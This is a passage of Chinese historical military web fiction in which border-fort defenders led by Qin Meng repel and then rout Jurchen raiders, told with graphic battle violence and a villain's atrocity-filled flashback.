“没错,管队爷看见了,运气好,卷铺盖滚蛋。”一个经历过多次鞑子来袭的老兵插了句嘴。
顿时那几个害怕的新兵昂首挺胸,腿肚子不颤了。
刘铁柱带人死死堵在后门!
这地方靠着山坳,地势隐蔽,最容易被敌人摸上来偷袭。
他左胳膊缠着渗血的布条,嗓子哑得像被砂纸磨过:“眼珠子都给老子瞪大喽!墙上见着登城索的影子,不管三七二十一先砍断再说。”
“烧水的手脚麻利点,水开了就往墙根泼洒,烫死这帮狗鞑子。”
他攥紧特制强弓,强忍左臂剧痛,搭箭开弓。眼珠子瞪得溜圆,死死盯着门缝里晃动的黑影。
——那是鞑子骑兵在外面试探着冲撞。
……
谁都知道此刻堡内的兵力有多空虚。
当警锣急促地响起时,堡内却没有出现预想中的混乱。经历过数次劫掠的边民们早已习惯!
老保长王槐坐镇官署,以入堡后“吃饱穿暖,过好日子,堡破就是死”等言语,动员了民众。
青壮猎户抄起惯用的弓箭,工匠们拾起打铁的锤子、锋利的凿子,就连平日里扛锄头的农夫也拿起了粪叉、木棍,自发赶往前后两门补防。
谁不怕死?
他们脸上或许有恐惧,但更多的是愤怒与玩命。
——堡破,退一步就是家破人亡,死路一条!
三十多鞑子骑兵像无头苍蝇,围着堡墙乱窜,铁蹄踏得冻土“咚咚”响,就想找个缝钻进去。
领头的鞑子头目呜哇怪叫一声,这帮畜生立刻分成两拨,嗷嗷叫着扑向前后门,马蹄声震得地都在颤!
边堡前门,地形坑死人,外头开阔呈锥形,像喇叭口,越往里越窄,活像个收口的袋子。
鞑子骑兵仗着马快往里冲,结果人挤人马挤马,反倒成了累赘,手里的弯刀都耍不开。
这破地形暂时挡住了他们的攻势,可也把守军困在了里面,想退都没地方退,只能硬着头皮死磕。
“咣!咣!咣!”的撞门声就没停过,震得人耳朵嗡嗡作响,门板上的木刺都震得掉下来。
顶门的汉子们咬碎了牙,哼着号子,肩膀死死顶着碗口粗的门杠,脸憋得跟紫茄子似的。
汗水顺着下巴往下滴,在地上砸出一个个湿痕。
土墙上人影乱晃,中箭的惨叫、怒喝的骂娘和远处妇孺的哭嚎搅成一锅粥。
垛口和箭眼里,那些新兵蛋子眼珠子红得像要滴血。
箭射不准?刀抡不动?
那也得上。就算用身子挡,也得把这口子堵上!
而前门情况更加不容乐观。
外头二十多个鞑子鬼叫着冲击大门,弯刀在火把下闪着寒光。
墙上的守军趁机,赶紧放箭。
“嗖嗖”地乱飞,要么钉在木头栅栏上嗡嗡哆嗦,要么被鞑子用弯刀“叮当”磕飞,火星子溅得老远。
就算侥幸戳中个把,也跟挠痒痒似的——鞑子身上套着多层皮甲,外层是双层硬牛皮,里面还裹着厚实的羊皮袄,普通箭镞根本穿不透。
“南蛮子没卵子,软脚虾。”
“呜厚,杀进去抢粮,抢娘们!”鞑子的胡话混着生硬的汉骂灌进耳朵,凶得像是要吃人。
他们从小在马背上长大,骑术箭法确实厉害,在墙下来回转悠着射箭,角度刁钻得很,压得守军根本抬不起头,只能缩在垛口后喘气。
“呃啊!”一声惨叫突然响起。
“娘嘞……我的腿……”又一声痛呼紧随其后。
李山的吼声在箭雨里炸开:“都趴下,他娘的谁还敢露头?”
可还是有人躲不及中了招。
李山瞅准机会,猛地从垛口后窜起,长弓拉得像满月。
“嗡”的一箭,射翻了墙外一个正张弓的鞑子。
他刚缩回来,几支冷箭“嗖嗖”擦着他头皮飞过,钉在后面的土墙上颤个不停。
这时,旁边有个吓傻的新兵忍不住伸头张望。
李山眼珠子一瞪,像猛虎扑食般把他死死扑倒!
“噗嗤!”一支毒箭擦着新兵脑壳飞过,狠狠钉进李山的右肩,咔嚓穿透铁甲,插入肉里。
鲜血“呼”地一下染红了衣甲,顺着胳膊往下淌。
“什长!”旁边的民壮惊呼着想拉他。
“滚开,接着射!”李山一把推开他,咬着牙掏出腰间小刀,“刺啦”割下块衣角,用牙齿咬着一端,胡乱在肩膀上缠了几圈勒死。
血“滋滋”地往外渗,把布条染得通红,他眼珠子却还死死瞪着门外,不敢有半点松懈。
堡里火把烧得冲天亮,喊杀声震得老远都能听见。
这下可好,引来了附近更多的鞑子。
通往军堡的土路,一溜火把亮起来,像长蛇似的蜿蜒逼近,马蹄子声“咚咚咚”像打鼓一样越来越近。
完蛋,敌兵越打越多,大门嘎吱作响,快扛不住。
可那两丈高的土墙真他妈顶用,硬是把凶神恶煞的鞑子堵在了前后两个窄窟窿眼跟前,让他们空有骑兵优势却没法施展。
在这两处要命的鬼门关,李山拼了命也要守住前门。
刘铁柱本就擅射,率队在后门堵得水泼不进。
再加上堡里这些被逼急了的男女老少,硬是扛着门板,我身体顶住了鞑子一波又一波的猛撞。
两边就在这耗命,一寸土一寸血,谁也不肯退半步。
时间一点一滴都是熬。
准备的滚木石头快见了底,烧开的热水也泼得差不多了。
守军累得手都抬不起来。
眼瞅着就要花了,胳膊、腿脚跟灌了铅似的沉。
援军怎么他妈还不来?
再不来,堡子真要顶不住了!
就在大伙快撑不住的节骨眼上。
——堡外鞑子屁股后头突然传来一阵鬼哭狼嚎的惨叫。一个特殊的身影出现在战场边缘。
一匹浑身血污的枣红马驮着一个魁梧的身影。
是秦猛及时杀回来了!
他浑身是血,衣甲早就看不出原色,脸上溅满了暗红的血点子,身上还套着件抢来的鞑子狼皮袄,借着夜色冲向鞑子愣是没被敌人发现。
“去你娘的,死!”一声炸雷般的嚎叫,他借着马冲起来的劲儿,手中弯刀挥舞,寒光一闪,就把一个背对着他射箭的鞑子斜劈成了两半。
血淋淋的尸体稀里哗啦掉下马,内脏洒了一地。
手腕子猛地一翻,弯刀回扫,“咔嚓”一声脆响。
旁边一个刚回头的鞑子半个脑袋连着肩膀飞上了天。
滚烫的热血喷得老高,溅了秦猛一脸。
秦猛杀红了眼,像头疯虎似的撞进敌阵,兜着鞑子兵后方,弯刀抡圆了跟砍瓜切菜似的。
眨眼功夫,五六个鞑子就被他砍下马,敌阵一下子乱了套。
骑兵们惊慌地调转马头,自相踩踏起来。
墙上的李山看得真切,血红的眼珠子猛地亮了。也忘了肩头钻心的疼,扯破嗓子嚎叫起来:“弟兄们,猛哥回啦!管队爷杀回来啦!”
“跟老子杀出去,剁了这群狗娘养的。为弟兄报仇!!”
“掐,为弟兄们报仇啊!”
“轰隆!”顶着大门的巨石被合力推开
。
第39章 抢功劳的来了
“杀出去!砍鞑子!”
堡门开,三十多戍卒,乡勇如同决堤的洪水般涌出大门,朝着阵脚大乱的女真兵发起了反冲锋。
冲在最前面的是两个壮硕的青年,一人提着口锈刀,瞅准一个慌乱的鞑子兵,猛地扑过去将其拽下马,如同杀猪般死死摁住,嘶吼着将刀狠狠捅入对方的颈侧,鲜血喷得他满头满脸。
另一人则跳起来,舞动着手中沉重的长柄铁镐,狠狠砸中一个试图冷静射箭的鞑子脑袋。
只听“砰”的一声闷响,那鞑子连哼都没哼一声,就落了个脑浆迸裂的下场,直挺挺地倒在地上。
四十来岁的李铁匠也不甘示弱,他的幼子多年前死于鞑子掠边,这份血海深仇让他此刻如同疯魔。
他抡着平日里打铁的铁锤,追上一个摔下马的骑兵,不由分说一锤砸在对方的头颅上,伴随着骨骼碎裂的脆响,他如锻铁般怒吼。
“去死,叫你烧,叫你抢,还我…儿的命来!”
堡内的军民彻底疯狂了!
长枪、草叉、铁叉都化作复仇的利器,对着慌乱的女真兵疯狂戳刺。沉闷的撞击声与短促的惨叫声交织在一起,十多个鞑子兵本就慌乱,又被这前后夹击,眨眼间,就被人潮淹没。
“啊、啊…”伴随着惨叫,鞑子不是被愤怒的军民刺成了筛子,就是被拽下马剁成了碎片。
界河边的小南河堡能存在至今,不是没有道理的。
边民们世代在刀口上舔血,为了守护家人和家园,常年与异族浴血奋战。他们退无可退,绝境之中,温顺的绵羊也能变成凶狠的野狼。
“哈哈哈……杀,杀得好!”
秦猛一刀削断一个挡路女真兵的弯刀,顺势割断其脖子,听着身后震天的呐喊,看着堡民脸上那股凶狠决死的劲头,一股热血涌上心头。
他更加确信,扎根于寒冷北地是对的。在这片浸染血泪的边陲土地上,收拢这些骨子里藏着凶性的边民,就是自己未来最坚实的根基。
堡后门那边,刘铁柱带着二十个新兵正死死顶住十几个鞑子的猛冲。
“顶住,给老子砸石头,泼水,别让他们靠近。”他急眼了,那不开弓了,抄起墙角长枪,对着墙上箭孔外的黑影“轰”的就是猛刺。
那鞑子惨叫着从墙上掉了下去,摔在地上没了声息。
新兵们受了鼓舞,捡起地上的撬棍、石块,连拳头带脚地招呼,还有人用水瓢泼着沸水。
墙外叫声和骂声不断。
但就是这样顽强抵抗,硬是没让鞑子兵往前半步。
那摇摇欲坠的大门始终没有被撞破!
这时,张富贵领着几个老兵寻声杀来。他们眼中的怒火熊熊,真的犹如饿狼般迅速靠近。
嘴里发出“呜哈”之类的怪叫声,不时大笑,叫骂。假扮成援军,摸到后门鞑子骑兵屁股后头。
“弄死他们!”张富贵低喝一声,手里的宽刃杀猪刀就捅了出去。
“杀——!”王铁山等这帮老兵油子下手又快又狠,刀子专捅后心窝、砍脖子这些软地方。
一眨眼就捅翻了六七个鞑子!
“不好,是敌人。”女真骑兵反应过来,nv眦欲裂。
可是,已经为时已晚了!
“开门,杀出去帮忙!”刘铁柱听出来是张屠户破锣嗓子,二话不说,他直接带人冲了出去。
两下夹攻,剩下七八个鞑子吓得魂飞魄散,鬼哭狼嚎着想要逃跑,很快就被剁成了饺子馅。
“杀,杀鞑子!”堡前堡后,杀声震天。
这次来强攻小南河堡的鞑子兵,共五十余骑。
强攻两门时,死了十来个,被秦猛从后方偷袭斩杀十多人,剩余的二十多个鞑子也被李山、李铁匠、刘铁柱、张富贵等人联手围殴歼灭。
其实数量更多,只是秦猛杀了五队,张富贵等人也干掉五队有余,30多个鞑子死在赶来途中。
战斗结束后,堡民们呆呆地望着遍地的鞑子尸骸和流淌的鲜血,满脸都是震撼与不敢置信。
以往异族劫掠时,要么是鞑子久攻不下自行退走,要么是城寨大队骑兵及时增援逼退敌人。
从未有过将四十多个鞑子全部歼灭的战绩。
所有人都清楚,这份泼天的头功,非秦猛莫属。
“猛哥儿,你太神了!”
“我们守着了,你杀了十几个鞑子。”
几个十七八岁的后生满眼放光,看秦猛的眼神跟看神仙似的,兴奋嚷嚷着,满脸都是崇拜。
秦猛没有理会这些夸赞,他抬手擦了擦脸上的血污,目光锐利地扫视四周,暂时没有危险。
他眺望燧堡烽火,立刻舞刀拍马,高声喝道:“快,快递通知后堡门张富贵等人集结,谁会说女真话?赶紧换衣,支援燧堡,杀鞑子。”
“我会!”李山挺身而出,扒下鞑子衣袍往身上套。几个还残有力气的军民自告奋勇参与。
堡墙上有人飞奔去后堡门。
不久后,张富贵率队浑身浴血,横穿堡子赶来。他们每人牵两匹甚至三匹好马,派上用场。
李山,两个魁梧青年等人纷纷上马。
就在秦猛准备带人出发时,异变突生。
“嗖!”一道比寻常箭矢粗壮数倍的箭矢撕裂虚空,带着尖锐的破空声,直逼秦猛的太阳穴。
这竟是一支三棱带血槽的破甲重箭。
箭杆粗如手指,通体泛着乌铁般的沉冷光泽,一看就威力无穷。
死亡的寒意瞬间笼罩全身。
秦猛汗毛根根倒竖,多年的战场经验让他本能地察觉到这箭危险。这箭太快太沉,若是伸手硬接,必然是手腕连头被一同贯穿的下场。
千钧一发之际,他左臂猛地勒紧马缰,身体随着马匹的转向迅速偏头,同时,右臂以近乎扭断关节的姿势,回撩弯刀,狠狠劈砍。
“铛——!!!”
震耳欲聋的金铁交鸣声在夜空中炸开,锋利的刀锋精准地撞上了重箭的箭头。
巨大的冲击力让秦猛的弯刀轻颤,麻痹感如同电流般窜遍整条右臂,持刀虎口更是胀痛。
那支重箭被斩偏轨迹,带着呼啸声斜插入马前的泥地中,足足没入一尺多深,箭羽犹自嗡嗡鸣响不止。
这是一个高手!秦猛心头猛地一紧,不敢有丝毫大意,猛地转头望向箭矢射来的方向。
远处的黑暗中,一骑快马正迅速逼近,马上人身形异常魁梧,身上穿着精锻的鳞状铁叶甲,在月光下泛着幽冷的光泽,手中一把巨大的铁胎弓弓弦还在微微震颤。
——正是刚才放箭之人。
他头盔下的鹰隼般锐利的眼睛死死锁定着秦猛,眼神冰冷而凌厉,充满了对鞑子的恨意。
更让秦猛心头一沉的是,眼角的余光瞥见林缘大道的方向。火把长龙飞舞,卷起冲天的烟尘,沉闷的马蹄声由远及近,越来越清晰。
一支身披黑甲的骑兵队正急速奔来。
没有旗帜,穿着大周边军铁甲,是城寨增援的骑兵。
秦猛脸色瞬间就变了,换做之前,他求之不得援军来。可现在这种情况,鞑子杀了大半,即将取得胜利,这群援军来了,令人生恼。
大周北张帅司有规定,堡、寨遇鞑子袭击,自己勇猛击溃和援军赶来,发放的奖励截然不同。
如战利品,就不是军堡独享。
大部分好处还要被这些援军给占了去。
就更别说最终功劳,杀鞑子奖励,都大有折扣。
作为一个有野心的管队官,岂能看到这种事情发生?
“快,搞快点,援军来了,别让咱的功劳跑了!”
秦猛迅速权衡利弊,瞥了一眼即将到来的援军,不想被人摘胜利果实,冲李山等人急喝。
他又冲那冲来的弓箭手撂下狠话:“你这小瘪犊子,暗箭伤人算什么本事?有种别跑,等老子解决了这群女真鞑子,再回来找你算账。”
秦猛向旁边的军卒要了一杆长枪,拨转马头,带着李山,张富贵等人朝着燧堡的方向疾驰而去。
“嗷呜……”人人挥舞弯刀,怪叫着。
冲出不远,秦猛又回头对打扫战场的李铁匠吼道:“李叔,劳烦给月娘报个平安。那边林子里有十几个鞑子的尸体,是我途中杀的。
赶紧派人收回来,别让后面的‘官爷’顺手牵走,马匹,武器都金贵着呢,那是咱们堡的血本。”
“对了,反过来那边,我们也杀了几队鞑子兵……”张富贵,王铁山这才想起,纷纷叫嚷。
“放心交给我!”李铁匠扯着嗓子应道,脸上血污混着激动——这些尸体和好马意味着的财富与功劳,朝廷有奖励,边堡之人再清楚不过。
远处大队骑兵已至,约三百余人,皆着黑甲。
为首将军身披厚重铁甲,骑高头大马,被兽面铠军官簇拥着。见铺堡入口鞑子尸横遍野。
而且李铁匠,刘铁柱等人不断从树林拖回尸体。
至少有几十具,他们无不震惊。
为首将军未多停留,只派人打探详情。
得知这群鞑子来自女真部落h一人竟斩杀三十多个女真骑兵,既惊讶又好奇,决意见见此人。
第40章 冲阵!反击!
夜色浓稠如墨,秦猛领着十几骑伤痕累累的“残兵败将”冲出林带,前方烽燧堡轮廓猛地撞入眼帘。
堡墙之上,火光骤然跳动亮起,如同沉沉黑布上灼开的孔洞,将土堡粗糙的棱角清晰映照出来。
千疮百孔的“周”字旧旗,此刻以近乎悲怆的姿态挺立,虽残破褴褛却依旧在夜风中倔强飘扬。
堡墙之下,几十名女真骑兵也依旧纵马绕着缓坡兜转,放肆辱骂、嘲讽。弓弦偶尔炸响,零乱箭矢钉在夯土墙上,发出沉闷的噗噗声。
“无胆南蛮,钻出乌龟壳!”
“周狗死绝了?还有喘气的没?”
……
夹杂着粗野女真语的叫嚣此起彼伏。
鞑子兵脸上洋溢着得意与残忍,肆意享受戏耍“笼中之鼠”的快感,对身后树林的动静毫无警觉。
时机已至!
“杀,杀鞑子——!”^_^队伍末尾,
几个军汉刻意落后,猛地扯开破锣嗓子嘶吼,手中破锣破鼓被狠命敲打,发出刺耳混乱的巨响。
十来骑残兵同时狠抽战马,扬起漫天烟尘。灰尘蔽空,马蹄轰鸣。
在破晓前模糊的晨光里,这一小撮人硬是造出了数百骑的气势!
“驾!快跑啊——!”秦猛装作惶恐状,紧伏在狂奔的枣红马背上。
张富贵,李山等人口中更是狂呼乱叫。频频回望,仿佛被恶鬼追赶。
此时,堡墙上的秦大壮一刀劈断射来的箭杆,手臂震颤未止,身后杀声已如山崩海啸般响彻。
“是…是我们的人?”一戍卒声音里带着难以置信。
“铺堡没丢?是铺堡的兄弟在追砍女真狗?”另一人声音猛地拔高,如同撕裂的布帛。
长久紧绷的弦被忽然而至的希望扯断。狂喜如野火,瞬间焚尽积压整夜的绝望、愤怒与憋屈。
“是援军来了!”秦大壮用尽全身力气嘶吼,带着血沫腥气,“开堡门,随老子冲啊——!”
墙垛缝隙里,一张张因疲惫扭曲的脸瞬间被疯狂点燃。眼中不再是憋屈,而是饿狼扑食前的绿光!
燧堡内部猛然响起巨大撞击和绞盘锁链的沉闷摩擦。
“轰隆隆——!”
沉重厚实、包裹铁条的木门猛地向内砸开,尘土飞扬,
闸门已开,困兽出笼!
“杀,嗬啊——!”憋屈整夜的守军如同决堤狂澜,裹挟无边怒火轰然卷下土坡。
有人腿上箭伤深可见骨,拄着断刀跛脚猛冲;有人嗓子沙哑,仍高举缺口刀矛嗷嗷嘶吼。
这股洪流狠狠撞向正在嬉笑叫骂的女真骑兵。
鞑子们几乎同时听到身后突兀爆发的震天杀声。
“杀,杀鞑子——!”人声如雷。
烟尘卷地而起,影影绰绰似有无数人马自背后林中猛扑而来。
“嗯?”女真领队扎哈尔壮硕身躯猛地一震,彻骨寒意窜上了脊椎。他勒转马头,铜铃暴眼死死盯向尘烟。
——烽燧守军竟放弃坚壁冲锋?
这完全颠覆了数十年的“默契”。过往入境劫掠中,他从未见过大周军队如此不要命的打法。
更诡异的是铺堡方向的追杀声!
昨夜分兵拔堡的兀鲁思带走五十多人,按常理早该汇合,为何迟迟不归?连个报信的都没有?
这前后夹击的惊变来得太快、太狠。
扎哈尔心头掠过一丝疑惑,紧接着便是无法抑制的强烈不安。
秦猛借着枣红马冲刺惯性与爆发力,一马当先如血色利箭,转眼切入女真大队侧翼百步之内。
李山、张富贵等人立刻按谋划嘶吼,口中是临时拼凑的女真短句:“安答,巴特,有…有埋伏!”
“跑,快跑!好多铁鹞子!”
声音扭曲变形,带着极端恐惧的破音,仿佛见了世间至恐怖之物。众人慌忙逃窜,硬生生将十来人奔逃演绎出大军败如山倒的绝望气势。
朦胧晨曦中,女真队伍骤闻身后告警,又见十来个“自己人”血污奔逃,立时骚动着让出道路。
直到秦猛几人高速冲至二三十步,非但未减速,反而再度提速时,靠前的女真兵才猛然惊醒。
不对!
图鲁木部第一勇士扎哈尔心沉冰湖。借着微光看清领头者面容——满脸血污披着破皮袄,是部落儿郎的打扮,轮廓、眉眼却无一熟识。
“不好,他们是假的,汉狗的诡计!”
“快,快射死他们。”惊觉的怒吼刚从他牙缝喷出。
一切已太迟了!
双方距离只剩最后十几步!
轰!
秦猛手中的长枪借着枣红马全力冲刺的恐怖势能,枪尖朝前绷成一道笔直的寒光,带着撕裂空气的锐啸直刺而出!挡在最前方的女真骑兵甚至来不及抬起圆盾格挡,锋利的枪尖如穿纸般穿透他的皮甲,从胸膛入、后背出。
“噗嗤!”血箭喷涌间,秦猛手腕猛旋,枪杆顺势向前一挑,竟将那骑兵连人带甲挑离马背。再将这具还在抽搐的尸体砸向侧方另一骑。
“砰!”被砸中的女真兵惊呼着倒飞,又砸到身边的人,几匹坐骑受惊狂跳,瞬间搅乱了队列!
秦猛毫不停歇,双臂抡动长枪如风车旋转,枪尖似毒龙出洞精准点刺,枪杆如铁棍横扫。
遇人便戳,逢骑就砸。枪尖刺入皮肉的闷响、枪杆砸中骨骼“咔嚓”的脆响声接连不断。
沿途的女真骑兵被这狂风暴雨般的攻势打得人仰马翻,根本无法抵挡。
转瞬之间,秦猛冲锋在前,便撕开一道血路,竟无一人能挡其锋。
李山左肩缠伤布渗着血,此刻却状若疯魔,手中长枪探出,精准刺穿女真兵脑袋,挑飞一个女真什长的皮盔,露出光秃秃头顶和后脑小辫。
张富贵是个猛将胚子,拎着一条狼牙棒四处乱砸。
“噗嚓!”试图举刀招架的女真兵,头颅如熟透的瓜果般被砸得粉碎,脑浆血雨喷洒开来。
“妈呀——!”惊骇欲绝的惨嚎成了溃散的前奏。又一个躲闪不及的女真兵被棒头擦中腰肋,惨叫着撞倒身边的同伴,随后被后续老兵策马践踏,皆是筋骨尽断,脑浆迸裂的下场。
王铁山等军汉被血腥场面激得凶性大发,嘶吼着刀枪并举,朝慌乱的鞑子兵猛砍狠刺。
就在这时——烽燧堡方向更是爆发出狂吼,堡门洞开,秦大壮率守军如决堤洪流与敌人交战。
“冲,冲开他们!”另一侧,秦大壮眼珠暴突,将卷刃的朴刀当作重棍,以全身之力横扫。
“啪”的闷响,刀背砸中女真兵面门,鼻梁塌陷,眼珠爆裂的声音令人牙酸。那女真兵捂着脸凄厉嚎叫,在地上翻滚,被随后赶来的兵卒一枪攮死。
两面夹击之下,几十个女真骑兵被秦猛小队撕裂队列,又遭堡内生力军痛击。战马挤在狭小缓坡,无法展开骑兵优势,瞬间陷入绝境。
惨叫声、兵刃撞击声、战马哀鸣声响彻拒马河边!
夜色正浓,敌情难辨。周军的亡命反扑如同滚烫油锅里泼进冰水,恐慌在女真兵中瘟疫般炸开。
“赤目鬼来了!”“是生撕人肉的阎罗!”
“长生天啊!赤目鬼?那个周人的眼睛是红的。”有人看到浑身浴血的秦猛,惊恐尖啸。
“跑啊——!”一个女真兵的凄厉尖叫压垮了最后一根稻草。本就战战兢兢的队伍瞬间土崩瓦解。
“逃命啊——!”
“跑回草原去——!”
恐惧摧毁抵抗意志。哭嚎声四起,鞑子们疯狂踢打惊惶战马逃窜,人马倾轧踩踏,乱象丛生。
“不要乱,后退者死!”
扎哈尔见状岂能甘心做丧家之犬?他须发戟张,目眦欲裂,暴雷吼声中,巨大弯刀狠狠劈下。
“噗嗤!”一个弃甲溃兵被连肩带背劈成两截,喷溅的鲜血染红扎哈尔半个身子,如同浴血魔神。
他身边几个亲兵同样大吼,试图聚拢族中精锐。
然而,残酷镇压未能稳住阵脚,热血反而浇灭最后抵抗火星。
反而将草原部落恃强凌弱的劣根性暴露无遗。
之前还嚣张,不可一世的女真精锐,面对人数不占优,又被两面夹击,勇士精神荡然无存。
兵败如山倒!
任凭扎哈尔咆哮砍杀溃卒,在被夹击事实和不断倒下的同伴面前,一切怒吼都徒劳苍白。
眼见敌军崩溃,秦猛杀意更盛。
他目光如电锁定几个试图聚拢败兵的心腹武士,暴喝一声拨转马头,枣红马如通灵般调转方向猛扑。
长枪化作死神镰刀,专绞杀试图聚集抱团者。
他纵马所过之处,残肢断臂四溅,如同撕裂的败草。
乱军之中,一抹迥异影子吸引住秦猛鹰隼目光。
——那是被七八名剽悍鞑子簇拥一人。那家伙舞刀不断喝斥,叫骂,其架势绝对是领头的。
火光晨曦下,那人魁梧身形异常醒目,上身覆盖精良的铁鳞甲,头盔插着斑斓花翎箭羽。
——正是之前那个射箭挑衅的巨汉,竟是个熟人。身下的墨玉黑马肩高腿长,四肢粗大,异常雄壮,一看就知道是一匹难得的宝马。
扎哈尔,图鲁木部第一勇士,部族长刀最锋利的刃!
擒贼当擒王!
秦猛心头烈火烹油,也眼馋那匹神骏的坐骑。瞬间决断,深吸一口气,一夹马腹,暴喝如雷。
“贼厮,纳命来!”
第41章 浴血斩敌将
秦猛如道血色闪电般,挺枪直扑目标,胯下的枣红马仿佛与他心意相通,竟在混乱的人群中硬生生挤开一条血路,朝着扎哈尔冲去。
他手中长枪狂甩开路,人借马力,马助人威,长枪刺穿拦截亲兵胸膛,反手一刀削飞一人脑袋。正以无可匹敌之势冲刺,拉近距离。
扎哈尔如炸毛猛虎勒住战马,见浴血恶魔闯过枪林箭雨杀来,惊骇过后,更是暴怒杀意。
“汉狗!受死——!”他喉咙滚出野兽咆哮,主动策马迎上秦猛,巨大弯刀扬起刀光如匹练,带着斩裂空气的厉啸劈下,足以斩断奔马。
劲风扑面,死亡感袭来。
但秦猛根本没有在马上缠斗的打算。他深知自己骑术并不精湛,马上作战就更是拉胯了。与在马背上长大的勇士拼刀,结果不用多说。
在两马即将相交的瞬间,秦猛突然弃枪不用,双脚扣住马镫,身体如狸猫般闪电般从马背一侧滑下,使出了一招“蹬里藏身”的绝技。
“呼哧…”弯刀贴着马鞍掠过,带起了瘆人的音爆。
就在扎哈尔错愕挥刀砍空,重心前倾的零点几秒间。
秦猛手臂从马腹下闪电弹出。五指如铁钳般抓住扎哈尔腰侧铁鳞甲边缘,恐怖力量骤然爆发。
“给老子——下来!!”炸雷咆哮震撼战场!
扎哈尔只觉腰间一紧,下意识想挣扎,可一股无法抗拒的巨力传来,他竟被硬生生拽下马。
秦猛如甩麻袋似的狠狠灌在地上。
轰隆!扎哈尔脑袋倾斜比身体先砸在冰冷泥泞的土地上。
巨大的冲击力让他眼前发黑,脏腑翻腾,铁鳞甲撞击地面发出刺耳的刮擦和金属变形的闷响。
不等他从这致命的晕眩恢复,甚至来不及感受身下土地的冰冷刺骨,一股更加可怕的危机降临。
秦猛如同附骨之蛆,跃马,落地,翻滚间欺身。
所有动作在电光火石间一气呵成。
带着冲锋坠落的惯性,调动全身力量的右脚如同攻城巨锤跺下。
砰
重重踏在扎哈尔厚实的胸膛之上。
“噗嗤!”扎哈尔的口中猛地喷出一股血沫的呻吟。
那坚硬铁甲胸板肉眼可见地向下塌陷了一块!肋骨断裂的可怕咯吱声清晰得令人头皮发麻。
肺叶如同被巨石挤压,无法呼吸。
紧接着!
秦猛使用黑龙十八手·锁喉绞杀。
他左脚踩着地面,右膝为刀,膝盖骨向前猛顶,死死钉在扎哈尔颈部厚实的肌肉和气管位置。
咔!
颈骨在巨大的压力下发出不堪重负的、如同枯枝断裂般的脆响。
剧痛和彻底断绝的空气让扎哈尔四肢疯狂地抽搐!那张虬髯怒张、因窒息而迅速涨成紫黑的狰狞面庞,眼珠暴凸,几乎要挣脱眼眶。
死亡的冰冷瞬间攥紧了心脏。
大脑被巨大的冲击和窒息感搅得一片混沌,过去几十年的画面却无比清晰地炸裂开来!
那是勒勒车吱呀呀的声响,带着暖草香气的微风。一只毛茸茸的幼犬,湿漉漉的舌头带着欢喜的热气,一下下舔舐着六岁扎哈尔稚嫩的脸庞。
他咯咯笑着,不顾脚踝可能被羊羔咬一口的威胁,追逐着那些踉踉跄跄、洁白如云的羊羔。
无边无际的绿草地毯在脚下铺展,天空蔚蓝如洗,蓝得像是长生天打翻了最纯净的颜料罐。
画面瞬间支离破碎,化作莽莽西伯利亚遮天蔽日的原始丛林。
九岁的扎哈尔被父亲粗糙的大手握住手掌,将那把沉重而锋利的厚背猎刀塞到他手中。猎物腥膻的温热气息喷在他的脸颊上。
父亲低沉而严厉的命令刻入他的骨髓:“扎哈尔,盯着它的眼睛,喉咙。这是熊瞎子啊你的猎物,切开它的喉咙,像切开冰湖的鱼那样。”
十四岁,第一次跟着部落勇士的马队越过拒马河那道不起眼的草滩界线。马鞭抽过田垄,火焰舔舐着汉人的草屋屋顶。
一个头发花白的老农妇护着身后的粮袋,枯槁的手握着一根细弱的木棍徒劳地挥舞,嘴里含混不清地哭号着,不知是求饶还是咒骂。
扎哈尔手中的弯刀毫无波澜地落下,就像他切过无数只野兔的喉咙。
那脆弱的木棍连同老妇布满沟壑的手臂一起飞起。
他看着那双瞬间被痛苦和恐惧填满、旋即失去光亮的浑浊眼睛,陌生的麻木感像冰冷的藤蔓缠绕上心头。
旁边兄弟们的狂笑和随后的肆意掠取,纵火烧村,也点燃了他身体深处某种冰冷滚烫的东西。
十七岁的秋天,雨水带着铁锈般的腥气。一座夯土的周人边堡被攻破。
混乱中,一个衣衫被撕破、腹部高高隆起的女人蜷缩在墙角,双手死死护住那孕育生命的部位,像一只待宰的、因寒冷而不断颤抖的羊。
族叔的大手一把攥住她的头发将她拎起来,欣赏着她眼中彻底的崩溃,然后把那把带豁口的弯刀递到眼神还带着几分疑惑和不忍的扎哈尔面前。
“扎哈尔小子,还在等什么?瞧瞧,多大的‘口粮’,割开她。让这些小周羊还没睁开眼睛就见识见识真正的力量,看看我们图鲁木勇士的弯刀!”
扎哈尔的心跳骤然加速,如同擂响的战鼓!身体里那被一次次血腥磨砺而变得坚硬的核心,被一种混杂着征服、力量和扭曲快感的火焰点燃。
那一瞬间的犹豫被吞噬,取而代之的是一种近乎神圣的执行狂喜。
刀刃轻松地撕开紧绷的肚皮,挑出成型的婴儿。
妇人没有发出丝毫惨叫,只在无声的绝望中剧烈颤抖了一下,身体彻底软了下去。
周围爆发出震耳欲聋的欢呼。
扎哈尔高高举起刀,血液顺着刀刃淌过他滚烫的手臂。
那时,他在血泊中的倒影里看到的不再是少年,而是一个真正的图鲁木巴特尔,部落的勇士。
……
冰冷的窒息感和颈骨碎裂的剧痛如同冰冷的潮水,瞬间将一切燃烧的记忆碾成齑粉。
草原上的风铃,猎刀上的寒光,老人失去光泽的浑浊双眼,妇人最后的泪水,弯刀上蠕动的血肉碎片……
所有画面在这濒死的时刻飞速旋转、拉远、破碎。
最终只剩下眼前那双冰冷的、没有丝毫情绪波动的黑瞳。
——那里面没有愤怒,没有嗜血,只有俯视蝼蚁般的平静。
如同一口深不见底的古井。
秦猛深知异族的危害,手上更加用力,凑近扎哈尔耳边,如同面对一个老友,轻声说着。
“你这种人怎么去改变呢?改变不了,就只有死。你放心,河对岸手上沾染鲜血的跑不掉!”
这一刻,扎哈尔听得十分清楚,他双眼瞪得更圆了。
不甘!他还要率领图鲁木最强大的战士,饮马拒马河,攻下河对岸那些富庶的州城府县。
然而,死神的手已经扼住了他的咽喉。
“嗬…嗬……”扎哈尔徒劳地发出破风箱般的声音,身体最后的抽搐越来越微弱,暴凸的眼珠逐渐失去光亮,就如他杀过的那个老婆婆……
这一幕说来话长,其实不过是电光火石之间。
秦猛拽出腰间缺了口的横刀,一刀斩下张哈尔的头颅。拎着那条猪尾巴辫,恶狠狠扫视全场。
“敌将已死,给老子狠杀!”雷霆般的吼声响彻。
“头领被杀啦——”
混乱的女真队伍中,一个靠得近的亲兵目睹了这恐怖绝伦的一幕,如同魔神般的主子被那个“赤目恶鬼”硬生生拖下马背,踏在脚下,再以一个难以理解的凶狠手法拧断了脖子。
他那恐惧到极点、撕裂般的惨叫瞬间压过了所有嘈杂。
